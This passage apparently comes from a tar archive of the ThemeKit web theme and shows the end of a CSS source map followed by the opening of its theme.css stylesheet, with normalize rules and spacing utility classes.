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", "sources": ["../../src/scss/theme.scss","../../src/scss/_settings.scss","../../src/scss/_mixins.scss","../../src/scss/_cards.scss","../../src/scss/_widgets.scss","../../src/scss/_tables.scss","../../src/scss/_badges.scss","../../src/scss/_navigation.scss","../../src/scss/_buttons.scss","../../src/scss/_modal.scss","../../src/scss/_forms.scss","../../src/scss/_carousel.scss","../../src/scss/_calendar.scss","../../src/scss/_alert.scss","../../src/scss/_rating.scss","../../src/scss/_range-slider.scss","../../src/scss/_auth.scss","../../src/scss/_main.scss"], "names": [], "file": "theme.css" } css/theme.css000064400000613124151676723140007173 0ustar00/*! * ThemeKit v1 (https://lavalite.org/) * Copyright 2018 The Lavalite Authors */ html { font-family: sans-serif; /* 1 */ -ms-text-size-adjust: 100%; /* 2 */ -webkit-text-size-adjust: 100%; /* 2 */ } body { margin: 0; } article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block; } audio, canvas, progress, video { display: inline-block; /* 1 */ vertical-align: baseline; /* 2 */ } audio:not([controls]) { display: none; height: 0; } [hidden], template { display: none; } a { background-color: transparent; } a:active, a:hover { outline: 0; } abbr[title] { border-bottom: 1px dotted; } strong { font-weight: bold; } dfn { font-style: italic; } h1 { font-size: 2em; margin: 0.67em 0; } mark { background: #ff0; color: #000; } small { font-size: 80%; } sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sup { top: -0.5em; } sub { bottom: -0.25em; } img { border: 0; } svg:not(:root) { overflow: hidden; } figure { margin: 1em 40px; } hr { box-sizing: content-box; height: 0; } pre { overflow: auto; } code, kbd, pre, samp { font-family: monospace, monospace; font-size: 1em; } button, input, optgroup, select, textarea { color: inherit; /* 1 */ font: inherit; /* 2 */ margin: 0; /* 3 */ } button { overflow: visible; } button, select { text-transform: none; } button, html input[type="button"], input[type="reset"], input[type="submit"] { -webkit-appearance: button; /* 2 */ cursor: pointer; /* 3 */ } button[disabled], html input[disabled] { cursor: default; } button::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0; } input { line-height: normal; } input[type="checkbox"], input[type="radio"] { box-sizing: border-box; /* 1 */ padding: 0; /* 2 */ } input[type="number"]::-webkit-inner-spin-button, input[type="number"]::-webkit-outer-spin-button { height: auto; } input[type="search"] { -webkit-appearance: textfield; /* 1 */ box-sizing: content-box; /* 2 */ } input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } fieldset { border: 1px solid #c0c0c0; margin: 0 2px; padding: 0.35em 0.625em 0.75em; } legend { border: 0; /* 1 */ padding: 0; /* 2 */ } textarea { overflow: auto; } optgroup { font-weight: bold; } table { border-collapse: collapse; border-spacing: 0; } td, th { padding: 0; } *, body { -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; } ::-moz-selection { background: #b3d4fc; text-shadow: none; } ::selection { background: #b3d4fc; text-shadow: none; } hr { display: block; height: 1px; border: 0; border-top: 1px solid #ccc; margin: 1em 0; padding: 0; } audio, canvas, iframe, img, svg, video { vertical-align: middle; } fieldset { border: 0; margin: 0; padding: 0; } textarea { resize: vertical; } .browserupgrade { margin: 0.2em 0; background: #ccc; color: #000; padding: 0.2em 0; } * { outline: none !important; } a { color: #212121; -moz-transition: color 0.2s; -o-transition: color 0.2s; -webkit-transition: color 0.2s; transition: color 0.2s; } a:hover, a:focus, a:active { outline: 0; text-decoration: none; color: #212121; } .p0 { padding: 0px !important; } .pt-0 { padding-top: 0px !important; } .pb-0 { padding-bottom: 0px !important; } .pl-0 { padding-left: 0px !important; } .pr-0 { padding-right: 0px !important; } .m0 { margin: 0px !important; } .mt-0 { margin-top: 0px !important; } .mb-0 { margin-bottom: 0px !important; } .ml-0 { margin-left: 0px !important; } .mr-0 { margin-right: 0px !important; } .p5 { padding: 5px !important; } .pt-5 { padding-top: 5px !important; } .pb-5 { padding-bottom: 5px !important; } .pl-5 { padding-left: 5px !important; } .pr-5 { padding-right: 5px !important; } .m5 { margin: 5px !important; } .mt-5 { margin-top: 5px !important; } .mb-5 { margin-bottom: 5px !important; } .ml-5 { margin-left: 5px !important; } .mr-5 { margin-right: 5px !important; } .p10 { padding: 10px !important; } .pt-10 { padding-top: 10px !important; } .pb-10 { padding-bottom: 